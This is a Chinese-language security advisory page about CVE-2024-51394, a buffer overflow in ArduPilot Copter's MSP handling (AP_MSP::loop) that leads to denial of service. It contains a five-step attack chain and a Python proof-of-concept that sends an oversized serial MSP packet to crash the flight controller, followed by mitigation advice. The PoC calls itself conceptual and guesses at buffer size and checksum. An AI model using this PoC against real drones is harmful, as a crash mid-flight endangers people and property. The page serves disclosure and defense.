IPBUF安全漏洞报告
English
CVE-2024-51394 CVSS 5.5 中危

CVE-2024-51394 ArduPilot Copter 缓冲区溢出漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2024-51394
漏洞类型
缓冲区溢出
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ArduPilot Copter

相关标签

缓冲区溢出拒绝服务ArduPilot无人机本地攻击DoS

漏洞概述

ArduPilot Copter 是一款广泛使用的开源无人机控制软件。在其最新提交版本(commit 92693e0)中,AP_MSP::loop 函数及 AP_MSP 组件被检测出存在缓冲区溢出漏洞。由于程序在处理特定数据时缺乏足够的边界检查,本地低权限攻击者可以通过构造恶意输入来利用该漏洞。成功利用后,攻击者可导致应用程序崩溃或系统无响应,从而造成拒绝服务(DoS),严重威胁无人机系统的正常运行与可用性。

技术细节

该漏洞位于 ArduPilot Copter 的 AP_MSP 模块中,具体涉及 AP_MSP.cpp 源文件内的 AP_MSP::loop 函数。MSP (MultiWii Serial Protocol) 是一种用于飞控板通信的协议。漏洞的根源在于该函数在接收或处理 MSP 数据包时,未对输入数据的长度进行严格的边界验证,导致向固定大小的缓冲区写入过量数据。根据 CVSS 向量 AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H,攻击者需要具备本地低权限(PR:L),且无需用户交互(UI:N)。由于漏洞主要影响可用性(A:H),攻击者利用此缓冲区溢出可覆盖关键内存区域,触发段错误或异常处理流程,进而导致飞控软件崩溃或重启,实现拒绝服务攻击,但通常不会直接导致数据泄露或权限提升。

攻击链分析

STEP 1
1. 获取本地访问权限
攻击者获得运行 ArduPilot Copter 设备的本地访问权限,具备低权限用户身份。
STEP 2
2. 定位漏洞接口
攻击者识别出目标系统正在运行受影响版本的固件,并确认 AP_MSP 服务处于活动状态。
STEP 3
3. 构造恶意数据包
攻击者利用漏洞特性,构造一个超过 AP_MSP::loop 函数缓冲区大小的特制 MSP 数据包。
STEP 4
4. 触发缓冲区溢出
通过本地接口(如串口或模拟终端)发送恶意数据包,导致 AP_MSP 组件发生缓冲区溢出。
STEP 5
5. 造成拒绝服务
溢出破坏程序内存状态,导致 ArduPilot 进程崩溃或系统重启,飞行任务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept (Conceptual) # This script demonstrates the trigger condition for the buffer overflow. # It sends a crafted MSP packet with excessive length to the target interface. import serial import time def trigger_overflow(port='/dev/ttyUSB0', baudrate=115200): try: # Initialize serial connection ser = serial.Serial(port, baudrate, timeout=1) # MSP Header: '$M<' (Direction: IN) header = b'$M<' # Vulnerability: AP_MSP::loop does not check bounds properly. # We simulate a payload larger than the expected buffer size. # Assuming the buffer is small (e.g., 64 bytes), we send 256 bytes. payload_size = 256 message_type = b'\xFF' # Arbitrary message ID payload = b'A' * payload_size # Calculate checksum (simplified for PoC) checksum = (sum(message_type) + sum(payload)) & 0xFF packet = header + bytes([payload_size]) + message_type + payload + bytes([checksum]) print(f"[+] Sending malicious packet of size {len(packet)} bytes...") ser.write(packet) print("[+] Packet sent. Check device status for crash/DoS.") ser.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Adjust the port according to your environment trigger_overflow()

影响范围

ArduPilot Copter commit 92693e023793133e49a035daf37c14433e484778

防御指南

临时缓解措施
在应用官方补丁之前,建议用户暂时禁用 MSP (MultiWii Serial Protocol) 功能以阻断攻击面。加强对飞控设备的物理安全管理,确保只有授权人员才能访问本地控制接口。同时,应监控系统日志,一旦发现因 AP_MSP 导致的异常崩溃,需立即检查设备状态。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表